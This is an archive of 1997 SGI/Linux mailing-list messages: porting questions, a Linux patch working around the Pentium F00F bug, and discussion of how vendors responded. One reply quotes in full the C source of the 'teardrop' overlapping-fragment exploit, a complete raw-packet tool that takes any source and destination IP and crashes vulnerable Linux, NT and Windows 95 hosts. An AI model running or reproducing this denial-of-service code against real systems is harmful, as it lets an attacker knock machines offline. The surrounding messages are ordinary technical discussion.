In-Reply-To: <Pine.LNX.3.95.971113173913.4779I-100000@lager.engsoc.carleton.ca> from "Alex deVries" at Nov 13, 97 05:41:40 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 53
Lines: 4

> We promise.

ftp://ftp.uk.linux.org/pub/linux/SGI


From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 11:05:17 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id LAA469397 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 11:05:17 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id LAA19427 for linux-list; Fri, 14 Nov 1997 11:00:34 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id LAA19388 for <linux@engr.sgi.com>; Fri, 14 Nov 1997 11:00:27 -0800
Received: from ns1.edunet.ru (ednet.Ftcenter.RU [194.154.82.122]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id LAA12416
	for <linux@engr.sgi.com>; Fri, 14 Nov 1997 11:00:07 -0800
	env-from (mur57@edunet.ru)
Received: from localhost (mur57@localhost [127.0.0.1]) by ns1.edunet.ru (8.7.5/8.7.3) with SMTP id WAA18563; Fri, 14 Nov 1997 22:01:59 +0300
Date: Fri, 14 Nov 1997 22:01:58 +0300 (MSK)
From: "Ilia M. Zubkov" <mur57@edunet.ru>
To: linux-kernel@vger.rutgers.edu, linux@cthulhu.engr.sgi.com
Subject: shaper and v2.0 kernel
Message-ID: <Pine.LNX.3.95.971114215608.17965A-100000@ns1.edunet.ru>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 205
Lines: 16



Is it possible to run shaper on a linux-2.0.x box? (not v2.1)

How?
Is there any documentation how to do it?


Thanks in advance.


Sincerely yours,

Ilia Zubkov,
Educational Network technical director


From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 12:23:11 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA496772 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 12:23:11 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id MAA16079 for linux-list; Fri, 14 Nov 1997 12:16:55 -0800
Received: from tantrik.engr.sgi.com (tantrik.engr.sgi.com [192.26.72.25]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id MAA16067 for <linux@cthulhu.engr.sgi.com>; Fri, 14 Nov 1997 12:16:53 -0800
Received: from localhost (shm@localhost) by tantrik.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA10295 for <linux@cthulhu>; Fri, 14 Nov 1997 12:16:52 -0800 (PST)
Date: Fri, 14 Nov 1997 12:16:52 -0800 (PST)
From: Shrijeet Mukherjee <shm@cthulhu.engr.sgi.com>
cc: linux@cthulhu.engr.sgi.com
Subject: Re: SGI / Linux
In-Reply-To: <m0xW9Dg-0005FsC@lightning.swansea.linux.org.uk>
Message-ID: <Pine.SGI.3.94.971114121408.10300A-100000@tantrik.engr.sgi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1113
Lines: 31


Hi all, 

I just wanted to make something certain, b4 I went and banged my head all
the way, about linux ports for SGI h/w.

I have recently acquired a 100Mhz R4K indigo .. would mips/linux work on
this, as this is a r4k machine .. ( I would presume the kernel should
work, while the device drivers may not ) ..

if yes, is there something else I need to do to make that happen .. if not
can I hack my way into making that happen.

If hacking is possible, then could somebody send me some pointers .. since
what I want to work on, is the Xserver ..

Thanx

--
--------------------------------------------------------------------------
Shrijeet Mukherjee,    			Member of Technical Staff (MTS)
					Advanced Graphics Division 
                     			Silicon Graphics Computer Systems

http://reality.sgi.com/shm_engr     	phone: 650-933-5312
email: shm@engr.sgi.com, shm@sgi.com, shm@cs.uoregon.edu
--------------------------------------------------------------------------
Remember, life is not about what happens to you but what you make of what 
happens to you. Everyone dies, but not everyone fully lives.



From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 13:03:11 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA504193 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 13:03:11 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA03398 for linux-list; Fri, 14 Nov 1997 13:00:44 -0800
Received: from fir.engr.sgi.com (fir.engr.sgi.com [150.166.49.183]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA03334; Fri, 14 Nov 1997 13:00:38 -0800
Received: (from wje@localhost) by fir.engr.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) id NAA08559; Fri, 14 Nov 1997 13:00:34 -0800
Date: Fri, 14 Nov 1997 13:00:34 -0800
Message-Id: <199711142100.NAA08559@fir.engr.sgi.com>
From: "William J. Earl" <wje@fir.engr.sgi.com>
To: Shrijeet Mukherjee <shm@cthulhu.engr.sgi.com>
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: SGI / Linux
In-Reply-To: <Pine.SGI.3.94.971114121408.10300A-100000@tantrik.engr.sgi.com>
References: <m0xW9Dg-0005FsC@lightning.swansea.linux.org.uk>
	<Pine.SGI.3.94.971114121408.10300A-100000@tantrik.engr.sgi.com>
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1027
Lines: 24

Shrijeet Mukherjee writes:
 > 
 > Hi all, 
 > 
 > I just wanted to make something certain, b4 I went and banged my head all
 > the way, about linux ports for SGI h/w.
 > 
 > I have recently acquired a 100Mhz R4K indigo .. would mips/linux work on
 > this, as this is a r4k machine .. ( I would presume the kernel should
 > work, while the device drivers may not ) ..
 > 
 > if yes, is there something else I need to do to make that happen .. if not
 > can I hack my way into making that happen.
 > 
 > If hacking is possible, then could somebody send me some pointers .. since
 > what I want to work on, is the Xserver ..
...

       Most of the chips are similar, but not identical, to those in
the Indy, except for graphics, which is considerably different.  The
memory controller is the same, but many of the I/O parts are earlier
generations.  I don't believe I can readily locate the hardware
documentation for the parts which differ from Indy.  (I was able to
provide documentation for Indy, with management permission.)

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 13:19:54 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA503904 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 13:19:54 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA13423 for linux-list; Fri, 14 Nov 1997 13:17:26 -0800
Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA13408 for <linux@engr.sgi.com>; Fri, 14 Nov 1997 13:17:25 -0800
Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id NAA27890 for linux@engr.sgi.com; Fri, 14 Nov 1997 13:17:25 -0800 (PST)
From: ariel@oz.engr.sgi.com (Ariel Faigon)
Message-Id: <199711142117.NAA27890@oz.engr.sgi.com>
Subject: Pentium F00F bug Linux workaround
To: linux@cthulhu.engr.sgi.com (SGI/Linux mailing list)
Date: Fri, 14 Nov 1997 13:17:24 -0800 (PST)
Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon)
Organization: Silicon Graphics Inc.
X-Mailer: ELM [version 2.4 PL24 ME5a]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 3448
Lines: 111

[Just forwarding from linux-dev since I thought some people
 may be interested.  Ingo Molnar has found a way to workaround
 the latest Pentium/Pentium-MMX F00F bug. Linus then improved on it.

 I'm impressed by the repeatedly demonstrated ability of the Linux
 community to beat Microsoft.  It remains to be seen how long it'll
 take Microsoft to respond to this serious bug that can crash any
 Windows/WindowsNT machine from user mode (incl. any remotely loaded
 Captive-X control)]

-------------------------------------------------------------------------

>From Linus:

Ingo, Alan, others,
 I have a quick cleanup of 2.1.63 that looks a bit better wrt the F0 0F
bug, and also avoids the double SMP unlock that somebody noticed (sorry
for not giving attribution, I've been pretty rushed today trying to get
the stuff out quickly to people to test). 

I still don't have any pentium closeby to actually test this, so I'm
appending patches relative to 2.1.63. Does this still work for people with
the bug?

		Linus

-----
diff -u --recursive --new-file v2.1.63/linux/arch/i386/mm/fault.c linux/arch/i386/mm/fault.c
--- v2.1.63/linux/arch/i386/mm/fault.c	Wed Nov 12 13:34:25 1997
+++ linux/arch/i386/mm/fault.c	Wed Nov 12 13:33:48 1997
@@ -74,14 +74,6 @@
 	return 0;
 }
 
-asmlinkage void divide_error(void);
-asmlinkage void debug(void);
-asmlinkage void nmi(void);
-asmlinkage void int3(void);
-asmlinkage void overflow(void);
-asmlinkage void bounds(void);
-asmlinkage void invalid_op(void);
-
 asmlinkage void do_divide_error (struct pt_regs *, unsigned long);
 asmlinkage void do_debug (struct pt_regs *, unsigned long);
 asmlinkage void do_nmi (struct pt_regs *, unsigned long);
@@ -189,44 +181,27 @@
 		goto out;
 	}
 
-	printk(&quot;&lt;%p/%p&gt;\n&quot;, idt2, (void *)address);
 	/*
 	 * Pentium F0 0F C7 C8 bug workaround:
 	 */
-	if ( pentium_f00f_bug &amp;&amp; (address &gt;= (unsigned long)idt2) &amp;&amp;
-			(address &lt; (unsigned long)idt2+256*8) ) {
-
-		void (*handler) (void);
-		int nr = (address-(unsigned long)idt2)/8;
-		unsigned long low, high;
-
-		low = idt[nr].a;
-		high = idt[nr].b;
-
-		handler = (void (*) (void)) ((low&amp;0x0000ffff) | (high&amp;0xffff0000));
-		printk(&quot;&lt;handler %p... &quot;, handler);
-		unlock_kernel();
-
-		if (handler==divide_error)
-			do_divide_error(regs,error_code);
-		else if (handler==debug)
-			do_debug(regs,error_code);
-		else if (handler==nmi)
-			do_nmi(regs,error_code);
-		else if (handler==int3)
-			do_int3(regs,error_code);
-		else if (handler==overflow)
-			do_overflow(regs,error_code);
-		else if (handler==bounds)
-			do_bounds(regs,error_code);
-		else if (handler==invalid_op)
-			do_invalid_op(regs,error_code);
-		else {
-			printk(&quot;INVALID HANDLER!\n&quot;);
-			for (;;) __cli();
+	if ( pentium_f00f_bug ) {
+		unsigned long nr;
+		
+		nr = (address - (unsigned long) idt2) &gt;&gt; 3;
+
+		if (nr &lt; 7) {
+			static void (*handler[])(struct pt_regs *, unsigned long) = {
+				do_divide_error,	/* 0 - divide overflow */
+				do_debug,		/* 1 - debug trap */
+				do_nmi,			/* 2 - NMI */
+				do_int3,		/* 3 - int 3 */
+				do_overflow,		/* 4 - overflow */
+				do_bounds,		/* 5 - bound range */
+				do_invalid_op };	/* 6 - invalid opcode */
+			unlock_kernel();
+			handler[nr](regs, error_code);
+			return;
 		}
-		printk(&quot;... done&gt;\n&quot;);
-		goto out;
 	}
 
 	/* Are we prepared to handle this kernel fault?  */


-- 
Peace, Ariel

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 13:57:34 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA507454 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 13:57:34 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA27909 for linux-list; Fri, 14 Nov 1997 13:55:04 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA27892; Fri, 14 Nov 1997 13:55:01 -0800
Received: from dm.cobaltmicro.com ([209.19.61.51]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id NAA08080; Fri, 14 Nov 1997 13:54:54 -0800
	env-from (davem@dm.cobaltmicro.com)
Received: (from davem@localhost)
	by dm.cobaltmicro.com (8.8.7/8.8.7) id NAA08722;
	Fri, 14 Nov 1997 13:49:47 -0800
Date: Fri, 14 Nov 1997 13:49:47 -0800
Message-Id: <199711142149.NAA08722@dm.cobaltmicro.com>
From: "David S. Miller" <davem@dm.cobaltmicro.com>
To: ariel@cthulhu.engr.sgi.com
CC: linux@cthulhu.engr.sgi.com
In-reply-to: <199711142117.NAA27890@oz.engr.sgi.com> (ariel@oz.engr.sgi.com)
Subject: Re: Pentium F00F bug Linux workaround
References:  <199711142117.NAA27890@oz.engr.sgi.com>
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 744
Lines: 21


We also got some good press from it pretty fast after we released the
fixes:

http://www.news.com/News/Item/0,4,16312,00.html

Whats extremely humorous is that BSDI signed an NDA with Intel to get
early fix techniques told to them by Intel engineers.  But the NDA
stated they could not release patch sets for BSDI until Intel said so,
the thinking on Intel's part is that they wanted nobody to be the
first with a fix.  BSDI overlooked this and put the fix out, then
quickly took the fixes down once they released they had breached the
Intel NDA.

After the Linux fix was already out, Intel engineers spoke with Linus
and tried to get him to sign an NDA, I've never laughed so hard in my
life.

Later,
David S. Miller
davem@dm.cobaltmicro.com

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 14:08:53 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA506868 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 14:08:53 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA03214 for linux-list; Fri, 14 Nov 1997 14:05:05 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA03142; Fri, 14 Nov 1997 14:04:55 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA11639; Fri, 14 Nov 1997 14:04:52 -0800
	env-from (ralf@hotel.uni-koblenz.de)
Received: from hotel.uni-koblenz.de (ralf@pmport-08.uni-koblenz.de [141.26.249.8])
	by informatik.uni-koblenz.de (8.8.8/8.8.7) with ESMTP id XAA05565;
	Fri, 14 Nov 1997 23:04:50 +0100 (MET)
Received: (from ralf@localhost)
	by hotel.uni-koblenz.de (8.8.7/8.8.7) id XAA09889;
	Fri, 14 Nov 1997 23:01:26 +0100
Message-ID: <19971114230125.53286@hotel.uni-koblenz.de>
Date: Fri, 14 Nov 1997 23:01:25 +0100
From: ralf@uni-koblenz.de
To: Ariel Faigon <ariel@cthulhu.engr.sgi.com>
Cc: SGI/Linux mailing list <linux@cthulhu.engr.sgi.com>
Subject: Re: Pentium F00F bug Linux workaround
References: <199711142117.NAA27890@oz.engr.sgi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <199711142117.NAA27890@oz.engr.sgi.com>; from Ariel Faigon on Fri, Nov 14, 1997 at 01:17:24PM -0800
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 671
Lines: 15

On Fri, Nov 14, 1997 at 01:17:24PM -0800, Ariel Faigon wrote:
> [Just forwarding from linux-dev since I thought some people
>  may be interested.  Ingo Molnar has found a way to workaround
>  the latest Pentium/Pentium-MMX F00F bug. Linus then improved on it.
> 
>  I'm impressed by the repeatedly demonstrated ability of the Linux
>  community to beat Microsoft.  It remains to be seen how long it'll
>  take Microsoft to respond to this serious bug that can crash any
>  Windows/WindowsNT machine from user mode (incl. any remotely loaded
>  Captive-X control)]

The Linux kernel as well handles a CPU bug that QED / IDT still haven't
acknowledged to exist :-)

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Fri Nov 14 14:26:30 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA508048 for <linux-archive@neteng.engr.sgi.com>; Fri, 14 Nov 1997 14:26:30 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id OAA10935 for linux-list; Fri, 14 Nov 1997 14:21:08 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id OAA10862; Fri, 14 Nov 1997 14:21:01 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id OAA17236; Fri, 14 Nov 1997 14:20:51 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id WAA12025; Fri, 14 Nov 1997 22:20:45 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xWUB8-0005FvC; Fri, 14 Nov 97 22:25 GMT
Message-Id: <m0xWUB8-0005FvC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Pentium F00F bug Linux workaround
To: ariel@cthulhu.engr.sgi.com
Date: Fri, 14 Nov 1997 22:25:30 +0000 (GMT)
Cc: linux@cthulhu.engr.sgi.com
In-Reply-To: <199711142117.NAA27890@oz.engr.sgi.com> from "Ariel Faigon" at Nov 14, 97 01:17:24 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 7675
Lines: 231

>  I'm impressed by the repeatedly demonstrated ability of the Linux
>  community to beat Microsoft.  It remains to be seen how long it'll
>  take Microsoft to respond to this serious bug that can crash any
>  Windows/WindowsNT machine from user mode (incl. any remotely loaded
>  Captive-X control)]

For various complex political/vendor reasons between intel and OS vendors
the situation on this is somewhat misleading on speed of fixing. Don't take
this specific one as a fair measurement. 

Lets see how long they take to fix the one below..  (Linux fix in 2.1.64pre
and on various sites). Irix isnt vulnerable btw ;)

Alan

/*
 *  Copyright (c) 1997 route|daemon9  <route@infonexus.com11.3.97
 *
 *  Linux/NT/95 Overlap frag bug exploit
 *
 *  Exploits the overlapping IP fragment bug present in all Linux kernels and
 *  NT 4.0 / Windows 95 (others?)
 *
 *  Based off of:   flip.c by klepto
 *  Compiles on:    Linux, *BSD*
 *
 *  gcc -O2 teardrop.c -o teardrop
 *      OR
 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                         * withstand maybe 5 or 10 sometimes...  Experiment.
                         */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;

    fprintf(stderr, "teardrop   route|daemon9\n\n");

    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }
    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }
    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;

    fprintf(stderr, "Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\n", count);
    fprintf(stderr, "[ ");

    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        fprintf(stderr, "b00m ");
        usleep(500);
    }
    fprintf(stderr, "]\n");
    return (0);
}

/*
 *  Send two IP fragments with pathological offsets.  We use an implementation
 *  independent way of assembling network packets that does not rely on any of
 *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
 */

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */

    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    /*
     * Grab some memory for our packet, align p_ptr to point at the beginning
     * of our packet, and then fill it with zeros.
     */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }

    /*  We set the fragment offset to be inside of the previous packet's
     *  payload (it overlaps inside the previous packet) but do not include
     *  enough payload to cover complete the datagram.  Just the header will
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work
     *  better.
     */
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
            name);
    exit(0);
}

/* EOF */


From owner-linux@cthulhu.engr.sgi.com  Sun Nov 16 14:02:21 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id OAA668051 for <linux-archive@neteng.engr.sgi.com>; Sun, 16 Nov 1997 14:02:21 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA23296 for linux-list; Sun, 16 Nov 1997 13:59:08 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA23264 for <linux@engr.sgi.com>; Sun, 16 Nov 1997 13:59:02 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id NAA21688
	for <linux@engr.sgi.com>; Sun, 16 Nov 1997 13:59:00 -0800
	env-from (ralf@mailhost.uni-koblenz.de)
Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61])
	by informatik.uni-koblenz.de (8.8.8/8.8.7) with SMTP id WAA00963
	for <linux@engr.sgi.com>; Sun, 16 Nov 1997 22:58:56 +0100 (MET)
Received: by thoma (SMI-8.6/KO-2.0)
	id WAA06235; Sun, 16 Nov 1997 22:58:52 +0100
Message-ID: <19971116225851.05327@thoma.uni-koblenz.de>
Date: Sun, 16 Nov 1997 22:58:51 +0100
From: Ralf Baechle <ralf@uni-koblenz.de>
To: linux@cthulhu.engr.sgi.com
Subject: Magnum clones
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.84e
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 166
Lines: 6

Hi,

looks as if NetPower's MIPS systems are also slightly modified Mips Magnums.
Does anybody know if that's true?  Who else was building such OEM machines?

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 17 13:33:04 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id NAA774862 for <linux-archive@neteng.engr.sgi.com>; Mon, 17 Nov 1997 13:33:03 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id NAA18591 for linux-list; Mon, 17 Nov 1997 13:28:26 -0800
Received: from hollywood.engr.sgi.com (hollywood.engr.sgi.com [150.166.61.38]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id NAA18586 for <linux@cthulhu.engr.sgi.com>; Mon, 17 Nov 1997 13:28:25 -0800
Received: (from fisher@localhost) by hollywood.engr.sgi.com (940816.SGI.8.6.9/960327.SGI.AUTOCF) id NAA04775; Mon, 17 Nov 1997 13:28:24 -0800
From: fisher@hollywood.engr.sgi.com (William Fisher)
